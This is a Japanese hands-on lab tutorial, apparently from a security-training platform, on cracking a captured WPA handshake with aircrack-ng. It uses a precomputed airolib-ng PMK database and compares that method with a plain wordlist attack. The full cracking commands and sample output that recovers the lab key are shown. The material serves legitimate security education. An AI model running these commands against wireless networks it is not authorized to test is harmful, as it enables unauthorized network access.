はじめに
aircrack-ng を使用して WPA/WPA2 ハンドシェイクをクラックする際の標準的な方法は、単語リストから各パスワードをテストすることです。各パスワードに対して、aircrack-ng は Pairwise Master Key (PMK) を計算し、キャプチャされたハンドシェイクと照合する必要があります。このオンザフライでの計算は、特に大きな単語リストを使用する場合、時間がかかることがあります。
airolib-ng ツールは強力な最適化を提供します。これにより、特定のネットワーク (ESSID) と指定された単語リストのすべての PMK を事前に計算し、データベースに保存できます。攻撃を実行する際、aircrack-ng はこのデータベースを使用して PMK を計算する代わりに検索するだけで済むため、クラッキング速度が劇的に向上します。
この実験では、事前に構築された airolib-ng データベースを使用して WPA ハンドシェイクをクラックする方法を学び、そのパフォーマンスを標準的な単語リストベースの攻撃と比較します。
データベース内の ESSID に対する WPA ハンドシェイクをキャプチャする
このステップでは、提供されたキャプチャファイルを確認し、有効な WPA ハンドシェイクが含まれていることを確認します。この実験では、wpa.cap という名前のキャプチャファイルが ~/project ディレクトリに配置されています。このファイルには、ターゲットとするネットワークのキャプチャされた 4 ウェイハンドシェイクが含まれています。
aircrack-ng を使用して、このファイルのコンテンツを表示しましょう。このコマンドは攻撃を開始するのではなく、ファイルを解析して含まれるネットワークの概要を表示するだけです。
ターミナルで以下のコマンドを実行してください。
aircrack-ng wpa.cap
キャプチャファイルで見つかったワイヤレスネットワークのリストが表示されるはずです。ESSID(ネットワーク名)と、ハンドシェイクがキャプチャされたことの確認に注意してください。
Opening wpa.cap
Read 1 packets.
## BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
(press CTRL+C to abort)
CTRL+C を押して aircrack-ng プロンプトを終了できます。重要な情報は、ESSID teddy のハンドシェイクがあるということです。これがターゲットとするネットワークです。
攻撃のための aircrack-ng コマンドを構築する
このステップでは、攻撃のための aircrack-ng コマンドの構築を開始します。WPA 攻撃の基本的な構文は aircrack-ng [options] <capture file> です。
特にキャプチャファイルに複数のネットワークが含まれている場合、攻撃をより効率的にするために、ESSID に続く -e パラメータを使用してターゲットを指定できます。前のステップに基づくと、ターゲットの ESSID は teddy です。
これをコマンドに追加しましょう。
aircrack-ng -e teddy
このコマンドはまだ完了していません。aircrack-ng は、テストするパスワードまたは PMK をどこから取得するかを知る必要があります。標準的な攻撃では、単語リストを提供するために -w フラグを使用します。しかし、この実験では、事前に計算された airolib-ng データベースを使用します。データベースのパラメータは次のステップで追加します。
-r パラメータを使用してデータベースを指定する
このステップでは、aircrack-ng に airolib-ng データベースを使用するように指示することで、コマンドを完成させます。これに使用するパラメータは -r("read database" の略)です。
この実験のセットアッププロセス中に、mydb という名前のデータベースが ~/project ディレクトリに作成されました。このデータベースには、ESSID teddy および wordlist.txt からのパスワードの事前計算済み PMK が含まれています。
それでは、すべての要素を組み合わせましょう。aircrack-ng コマンド、ターゲットの ESSID(-e teddy)、データベース(-r mydb)、およびキャプチャファイル(wpa.cap)です。
最終的なコマンドは次のようになります。
aircrack-ng -e teddy -r mydb wpa.cap
このコマンドは aircrack-ng に以下の指示を出します。
- ESSID
teddyを持つネットワークをターゲットにする。 - データベース
mydbから事前計算済みの PMK を使用する。 - これらの PMK を
wpa.capに含まれるハンドシェイクに対してテストする。
次のステップで、このコマンドを実行し、結果を観察します。
攻撃を実行し、クラッキング速度を観察する
このステップでは、構築したコマンドを使用して攻撃を実行します。事前計算済みのデータベースを使用するため、クラッキングプロセスは非常に高速になるはずです。
ターミナルで以下のコマンドを実行してください。
aircrack-ng -e teddy -r mydb wpa.cap
プログラムが起動し、データベースとキャプチャファイルを開き、ほぼ瞬時に正しいキーを見つけます。
出力は以下のようになります。
Opening mydb
Opening wpa.cap
Read 1 packets.
## BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
Opening mydb
Attack will be restarted every 5000 PMKs.
Starting attack on ESSID teddy...
KEY FOUND! [ biscotte ]
Master Key : 45 45 79 A2 25 5D F9 5A 47 2B 1E 15 7E 22 38 84
...
Transient Key : 82 2A 8F 85 42 29 A2 1A 29 69 F1 25 2B 23 4C 78
...
EAPOL HMAC : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
KEY FOUND! メッセージがどれほど早く表示されたかに注目してください。パスワードは biscotte です。PMK はすでに計算され mydb データベースに保存されていたため、aircrack-ng は集中的な暗号計算を行う必要がなく、高速なルックアップと照合を行うだけで済みました。
標準的な単語リスト攻撃とのパフォーマンス比較
このステップでは、airolib-ng データベース方式の速度を十分に理解するために、従来の単語リスト方式で同じ攻撃を実行します。これにより、パフォーマンスの違いを直接確認できます。
標準的な攻撃では、-w パラメータを使用して単語リストファイルを指定します。aircrack-ng はファイルから各パスワードを読み込み、その PMK を計算してテストします。
セットアッププロセスでは、この目的のために wordlist.txt という名前のファイルが作成されました。このファイルを使用して攻撃を実行しましょう。
以下のコマンドを実行してください。
aircrack-ng -e teddy -w wordlist.txt wpa.cap
aircrack-ng が起動し、キーのテストを開始する様子が表示されます。テストされたキーの数と現在の速度(k/s)を示すステータス表示に注目してください。
Opening wpa.cap
Read 1 packets.
## BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
Opening wpa.cap
Opening wordlist.txt
Reading passwords from wordlist.txt
[0:00:00] 2 keys tested (XXXX.XX k/s)
KEY FOUND! [ biscotte ]
Master Key : 45 45 79 A2 25 5D F9 5A 47 2B 1E 15 7E 22 38 84
...
Transient Key : 82 2A 8F 85 42 29 A2 1A 29 69 F1 25 2B 23 4C 78
...
EAPOL HMAC : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
単語リストが非常に小さいため、キーは依然として迅速に見つかりますが、キーをテストする測定可能なプロセスがあったことに注意してください。数百万のパスワードを含む大きな単語リストの場合、このプロセスにはかなりの時間がかかります。対照的に、データベース攻撃は、計算負荷の高い部分がすでに完了していたため、ほぼ瞬時でした。
まとめ
この実験では、事前計算された airolib-ng データベースを使用して WPA ハンドシェイクをクラックすることに成功しました。-r パラメータを使用してデータベースを指定して aircrack-ng コマンドを構築する方法を学び、そのほぼ瞬時のパフォーマンスを観察しました。
これを -w パラメータを使用した標準的な単語リスト攻撃と比較することで、PMK の事前計算の顕著な速度上の利点を目の当たりにしました。この技術は、セキュリティ専門家が特定のネットワークをターゲットにし、潜在的なパスワードの大きな辞書を使用する場合に非常に価値があります。これは、時間のかかる計算フェーズを最終的なクラッキングフェーズから分離するためです。
